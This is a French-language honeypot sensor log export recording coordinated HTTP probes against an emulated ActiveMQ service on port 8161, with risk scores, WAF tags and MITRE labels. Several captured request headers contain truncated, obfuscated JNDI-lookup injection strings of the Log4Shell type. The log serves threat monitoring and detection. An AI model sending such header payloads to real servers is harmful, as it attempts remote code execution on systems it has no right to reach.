"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "b6d38c1c7d1718a2aea83cf28650587b89450269",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 2796,
"payload_entropy": 4.929168245723879,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8161,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.7,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 47,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "6e0d05d701134280383344ed170b70e1b729560b",
"event_fingerprint": "9a1ecb9e558b64525dd467e4fa3aa733e66a8987",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162",
"pat-0324"
],
"matched_pattern_names": [
"CRS 933135",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0162",
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 47,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "9dbae9f5c28cddcb97b49f072ab69667",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 47
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${c:r:1:-j}${j7wr:diz:f",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${c:r:1:-j}${j7wr:diz:f",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "41f29db7ae0708ff6c10222aece1364a3c2c0cbc",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe)",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 47\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 47,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 47,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:43 UTC
TCP
8161 · HTTP
Sonde port 8161/TCP
port 8161 tcp · via HTTP:8161 · (sonde / probe)
Élevée
Moyen · 45
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
POST / UA ${${e5:v82x:-j}${45s:l:h:-n}${n7:6:-d}${d:38a:a0:-i}${4w:wl91:0…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
POST
/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8161
Chemin / cible
/
Preuve honeypot — Sonde port 8161/TCP
Connexion détectée sur le port 8161 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8161_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
POST / HTTP/1.1
User-Agent
${${e5:v82x:-j}${45s:l:h:-n}${n7:6:-d}${d:38a:a0:-i}${4w:wl91:03vb:-:}${6:r65f:-l}${hz5:-d}${px:15:-a}${n0sp:-p}${t:hg:-:}${6e:-/}${m:qwp:-/}${c:9:7qp:-U}${ou35:mtcw:-A}${d:o9:-l}${za3:-0}${8q3:-c}${…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
POST / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161
Accept: */*
User-Agent: ${${e5:v82x:-j}${45s:l:h:-n}${n7
Requête brute (extrait)
POST / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161 Accept: */* User-Agent: ${${e5:v82x:-j}${45s:l:h:-n}${n7:6:-d}${d:38a:a0:-i}${4w:wl91:03vb:-:}${6:r65f:-l}${hz5:-d}${px:15:-a}${n0sp:-p}${t:hg:-:}${6e:-/}${m:qwp:-/}${c:9:7qp:-U}${ou35
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "ebdf37d123e3a6e5396fe022b1b37a8f932fd2e8",
"http_host_hash": "b6d38c1c7d1718a2aea83cf28650587b89450269",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "60c849318ed2de7b68f231acb993adc33c25d980",
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.799261890003385,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8161,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.7,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 45,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "2063fe575546adfdd3c203a05b0352458f4e6571",
"event_fingerprint": "9a1ecb9e558b64525dd467e4fa3aa733e66a8987",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2964fde843f0b59c338c9b591756cc2f",
"payload_hash": "ef2e548709b9412c184abd357dec4232",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 45
},
"payload_preview": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${e5:v82x:-j}${45s:l:h:-n}${n7",
"method": "POST",
"path": "\/",
"user_agent": "${${e5:v82x:-j}${45s:l:h:-n}${n7:6:-d}${d:38a:a0:-i}${4w:wl91:03vb:-:}${6:r65f:-l}${hz5:-d}${px:15:-a}${n0sp:-p}${t:hg:-:}${6e:-\/}${m:qwp:-\/}${c:9:7qp:-U}${ou35:mtcw:-A}${d:o9:-l}${za3:-0}${8q3:-c}${1qyo:q7:z:--}${${3shm:rki6:2:-s}${kajm:ufj:l:-y}${f:-s}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${e5:v82x:-j}${45s:l:h:-n}${n7:6:-d}${d:38a:a0:-i}${4w:wl91:03vb:-:}${6:r65f:-l}${hz5:-d}${px:15:-a}${n0sp:-p}${t:hg:-:}${6e:-\/}${m:qwp:-\/}${c:9:7qp:-U}${ou35",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${e5:v82x:-j}${45s:l:h:-n}${n7",
"evidence": {
"method": "POST",
"path": "\/",
"user_agent": "${${e5:v82x:-j}${45s:l:h:-n}${n7:6:-d}${d:38a:a0:-i}${4w:wl91:03vb:-:}${6:r65f:-l}${hz5:-d}${px:15:-a}${n0sp:-p}${t:hg:-:}${6e:-\/}${m:qwp:-\/}${c:9:7qp:-U}${ou35:mtcw:-A}${d:o9:-l}${za3:-0}${8q3:-c}${1qyo:q7:z:--}${${3shm:rki6:2:-s}${kajm:ufj:l:-y}${f:-s}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${e5:v82x:-j}${45s:l:h:-n}${n7:6:-d}${d:38a:a0:-i}${4w:wl91:03vb:-:}${6:r65f:-l}${hz5:-d}${px:15:-a}${n0sp:-p}${t:hg:-:}${6e:-\/}${m:qwp:-\/}${c:9:7qp:-U}${ou35",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${e5:v82x:-j}${45s:l:h:-n}${n7",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ce0f2979f1251745bd0c11359bf35f62f00d7677",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${e5:v82x:-j}${45s:l:h:-n}${n7:6:-d}${d:38a:a0:-i}${4w:wl91:03vb:-:}${6:r65f:-l}${hz5:-d}${px:15:-a}${n0sp:-p}${t:hg:\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${e5:v82x:-j}${45s:l:h:-n}${n7",
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe)",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${e5:v82x:-j}${45s:l:h:-n}${n7:6:-d}${d:38a:a0:-i}${4w:wl91:03vb:-:}${6:r65f:-l}${hz5:-d}${px:15:-a}${n0sp:-p}${t:hg:\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe)",
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${e5:v82x:-j}${45s:l:h:-n}${n7",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:42 UTC
TCP
8161 · HTTP
Sonde port 8161/TCP
port 8161 tcp · via HTTP:8161 · (sonde / probe)
Élevée
Moyen · 45
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA ${${s9xl:-j}${cq3:-n}${r526:hzj6:qvo:-d}${6z9s:hpdz:0dh:-i}${lc…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8161
Chemin / cible
/
Preuve honeypot — Sonde port 8161/TCP
Connexion détectée sur le port 8161 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8161_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET / HTTP/1.1
User-Agent
${${s9xl:-j}${cq3:-n}${r526:hzj6:qvo:-d}${6z9s:hpdz:0dh:-i}${lc:b1a:-:}${wt0:mt:-l}${o6:0sg2:zm:-d}${gu7:xi:-a}${0q6:-p}${3:x:g2h:-:}${m4l:-/}${tqpk:n7v:-/}${hmw2:pvuh:-U}${ju:byjh:o8j:-A}${8:j4:h:-l…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161
Accept: */*
User-Agent: ${${s9xl:-j}${cq3:-n}${r526:hzj6:
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8161 Accept: */* User-Agent: ${${s9xl:-j}${cq3:-n}${r526:hzj6:qvo:-d}${6z9s:hpdz:0dh:-i}${lc:b1a:-:}${wt0:mt:-l}${o6:0sg2:zm:-d}${gu7:xi:-a}${0q6:-p}${3:x:g2h:-:}${m4l:-/}${tqpk:n7v:-/}${hmw
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "f87882cf5408ae84dc09074b01fd703d8e6dfcab",
"http_host_hash": "b6d38c1c7d1718a2aea83cf28650587b89450269",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "650aeb790ee66058068427974454f5f4bd9bd9e9",
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.810242816966111,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8161,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.7,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 45,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "2063fe575546adfdd3c203a05b0352458f4e6571",
"event_fingerprint": "9a1ecb9e558b64525dd467e4fa3aa733e66a8987",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "067940e6b31994c28636983f3ae30d31",
"payload_hash": "a49e5ae8776ec5d79f10ee7bfb13c52e",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 45
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${s9xl:-j}${cq3:-n}${r526:hzj6:",
"method": "GET",
"path": "\/",
"user_agent": "${${s9xl:-j}${cq3:-n}${r526:hzj6:qvo:-d}${6z9s:hpdz:0dh:-i}${lc:b1a:-:}${wt0:mt:-l}${o6:0sg2:zm:-d}${gu7:xi:-a}${0q6:-p}${3:x:g2h:-:}${m4l:-\/}${tqpk:n7v:-\/}${hmw2:pvuh:-U}${ju:byjh:o8j:-A}${8:j4:h:-l}${b4oh:-0}${zisb:5f64:7iu:-c}${rn:--}${${9:s:-s}${nt:ir\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
